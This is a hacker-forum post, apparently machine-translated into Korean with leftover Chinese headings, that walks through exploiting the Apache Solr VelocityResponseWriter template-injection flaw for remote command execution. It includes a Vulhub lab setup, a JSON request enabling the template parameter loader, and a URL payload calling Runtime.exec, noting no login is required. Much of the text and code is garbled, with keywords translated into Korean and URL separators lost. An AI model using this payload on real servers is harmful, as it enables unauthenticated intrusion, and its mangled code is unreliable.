KoreanHackerTeam
Moderator
Apache Solr 模板注入远程代码执行漏洞
Apache Solr은 미국의 Apache Software Foundation의 Lucene (전체 텍스트 검색 엔진)을 기반으로하는 검색 서버입니다. Apache Velocity는 HTML 페이지 템플릿, 이메일 템플릿 및 범용 오픈 소스 코드 생성기 템플릿을 제공하는 템플릿 엔진입니다. Apache Solr의 여러 버전에서 Apache Solr의 VelocityResponseWriter 기능의 구성 매개 변수는 HTTP 요청을 통해 지정 될 수 있으므로 특정 매개 변수를 설정 한 후 Velocity 템플릿을 주입하여 사용자가 명령을 실행할 수 있습니다.影响范围
5.0.0=Apache Solr=8.3.1环境搭建
Vulhub의 Solr 환경을 재현 할 수 있습니다1
2
Docker -Compose Up -D
Docker -Compose Exec Solr Bash Bin/Solr Create_Core -C Test -D 예제/예제 DIH/SOLR/DB
Server/Solr-Webapp/WebApp/Web-Inf/Lib/at :으로 시작하는 Jar 패키지를 Contrib/Velocity/Lib로 복사하십시오.

Solr 서비스를 다시 시작하십시오.
漏洞复现
위의 환경 조건이 충족되면이 취약점을 악용하는 것은 두 단계로 나뉩니다. 먼저 HTTP 요청을 통해 Key Parameter Parameter Parameter Parameter Parameter Paramets.Resource.loader.enabled를 TRUE로 설정하여 사용자의 HTTP 요청에서 모든 템플릿 코드를 지정할 수 있도록 설정하십시오. 그런 다음 속도 템플릿 코드를 지정하여 모든 명령을 실행하십시오. Solr은 기본적으로 인증을 활성화하지 않기 때문에이 경우 Exploit에는 로그인 자격 증명이 필요하지 않습니다.1
2
3
4
5
6
7
8
9
10
{
'update-QueryResponseWriter': {
'스타트 업 ':'게으른 ',
'이름 ':'속도 ',
'class':'solr.velocityResponswriter ',
'template.base.dir':' ',
'solr.resource.loader.enabled':'true ',
'params.resource.loader.enabled':'true '
}
}

페이로드 보내기 :
방문하다: http://ip:8983/solr/test/select? q=1wt=velocityv.template=customv.template.custom=%23 세트 ($ x=%27%27)+%23 세트 ($ rt=$ x.class.forname (%27java.lang.runtime%27))+%23 세트 ($ chra=$ x.class.forname (%27java.lang.character%27))+%23 세트 ( $ str=$ x.class.forname (%27java.lang.string%27))+%23 세트 ($ ex=$ rt.getRuntime (). exec (%27id%27))+$ ex.waitfor ()+%23 세트 ($ out=$ ex.getInputStream ())+%23foreach ($ i+in+[1 . $ out.available ()] $ str.Valueof ($ ch.tochars ($ out.read ())%23end

ID 명령을 실행 한 반환 결과 :

